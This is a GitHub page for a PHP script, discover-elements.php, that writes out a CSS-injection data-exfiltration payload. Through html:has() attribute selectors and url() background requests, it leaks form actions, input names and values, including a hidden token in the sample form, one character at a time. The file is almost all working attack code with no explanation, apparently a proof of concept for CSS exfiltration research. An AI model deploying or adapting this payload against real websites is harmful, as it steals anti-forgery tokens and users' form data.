-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathdiscover-elements.php
136 lines (134 loc) · 4.58 KB
/
discover-elements.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
<form action="/blahblah" method="post">
<input type="hidden" name="mytoken" value="ddaf35a193617abacc417349ae204">
<input type="hidden" name="email" value="[email protected]">
<textarea name=comment>blah blah</textarea>
</form>
<style>
<?php
define("MAX", 20);
define("MAX_FORMS", 4);
define("CHARS", array_merge(range(' ','@'),range('[','~')));
function escapeCSS($str) {
return addcslashes($str, '\\"');
}
function discoverForms() {
$css = '';
for($i=1;$i<=MAX_FORMS;$i++) {
$css .= 'html:has(form:nth-of-type('.$i.')){--formCount: url(/?formCount='.$i.');}'."\n";
}
foreach(CHARS as $chr) {
for($i=1;$i<=MAX_FORMS;$i++) {
$css .= 'html:has(form[action^="'.escapeCSS($chr).'"]:nth-of-type('.$i.')){--form'.$i.'ActionBegins: url(/?form'.$i.'ActionBegins='.urlencode($chr).');}'."\n";
}
for($i=1;$i<=MAX_FORMS;$i++) {
$css .= 'html:has(form[action$="'.escapeCSS($chr).'"]:nth-of-type('.$i.')){--form'.$i.'ActionEnds: url(/?form'.$i.'ActionEnds='.urlencode($chr).');}'."\n";
}
}
return $css;
}
function discoverTextareas() {
$css = '';
for($i=1;$i<=MAX;$i++) {
$css .= 'html:has(textarea:nth-of-type('.$i.')){--textareaCount: url(/?textareaCount='.$i.');}'."\n";
}
foreach(CHARS as $chr) {
for($i=1;$i<=MAX;$i++) {
$css .= 'html:has(textarea[name^="'.escapeCSS($chr).'"]:nth-of-type('.$i.')){--textarea'.$i.'NameBegins: url(/?input'.$i.'NameBegins='.urlencode($chr).');}'."\n";
}
}
foreach(CHARS as $chr) {
for($i=1;$i<=MAX;$i++) {
$css .= 'html:has(textarea[name$="'.escapeCSS($chr).'"]:nth-of-type('.$i.')){--textarea'.$i.'NameEnds: url(/?input'.$i.'NameEnds='.urlencode($chr).');}'."\n";
}
}
return $css;
}
function discoverInputs() {
$css = '';;
for($i=1;$i<=MAX;$i++) {
$css .= 'html:has(input:nth-of-type('.$i.')){--inputCount: url(/?inputCount='.$i.');}'."\n";
}
foreach(CHARS as $chr) {
for($i=1;$i<=MAX;$i++) {
$css .= 'html:has(input[value^="'.escapeCSS($chr).'"]:nth-of-type('.$i.')){--input'.$i.'ValueBegins: url(/?input'.$i.'ValueBegins='.urlencode($chr).');}'."\n";
}
}
foreach(CHARS as $chr) {
for($i=1;$i<=MAX;$i++) {
$css .= 'html:has(input[value$="'.escapeCSS($chr).'"]:nth-of-type('.$i.')){--input'.$i.'ValueEnds: url(/?input'.$i.'ValueEnds='.urlencode($chr).');}'."\n";
}
}
foreach(CHARS as $chr) {
for($i=1;$i<=MAX;$i++) {
$css .= 'html:has(input[name^="'.escapeCSS($chr).'"]:nth-of-type('.$i.')){--input'.$i.'NameBegins: url(/?input'.$i.'NameBegins='.urlencode($chr).');}'."\n";
}
}
foreach(CHARS as $chr) {
for($i=1;$i<=MAX;$i++) {
$css .= 'html:has(input[name$="'.escapeCSS($chr).'"]:nth-of-type('.$i.')){--input'.$i.'NameEnds: url(/?input'.$i.'NameEnds='.urlencode($chr).');}'."\n";
}
}
return $css;
}
function generateVariables() {
$css = '';
$rules = [];
for($i=1;$i<=MAX_FORMS;$i++) {
array_push($rules, 'var(--form'.$i.'ActionBegins,none)');
}
$css .= join(",", $rules);
$css .= ',';
$rules = [];
for($i=1;$i<=MAX_FORMS;$i++) {
array_push($rules, 'var(--form'.$i.'ActionEnds,none)');
}
$css .= join(",", $rules);
$css .= ',';
$rules = [];
for($i=1;$i<=MAX;$i++) {
array_push($rules, 'var(--input'.$i.'ValueBegins,none)');
}
$css .= join(",", $rules);
$css .= ',';
$rules = [];
for($i=1;$i<=MAX;$i++) {
array_push($rules, 'var(--input'.$i.'ValueEnds,none)');
}
$css .= join(",", $rules);
$css .= ',';
$rules = [];
for($i=1;$i<=MAX;$i++) {
array_push($rules, 'var(--input'.$i.'NameBegins,none)');
}
$css .= join(",", $rules);
$css .= ',';
$rules = [];
for($i=1;$i<=MAX;$i++) {
array_push($rules, 'var(--input'.$i.'NameEnds,none)');
}
$css .= join(",", $rules);
$css .= ',';
$rules = [];
for($i=1;$i<=MAX;$i++) {
array_push($rules, 'var(--textarea'.$i.'NameBegins,none)');
}
$css .= join(",", $rules);
$css .= ',';
$rules = [];
for($i=1;$i<=MAX;$i++) {
array_push($rules, 'var(--textarea'.$i.'NameEnds,none)');
}
$css .= join(",", $rules);
return $css;
}
echo discoverForms();
echo discoverTextareas();
echo discoverInputs();
?>
html {
background:var(--inputCount,none),var(--formCount,none),var(--textareaCount,none),
<?php
echo generateVariables() . ";";
?>
}
</style>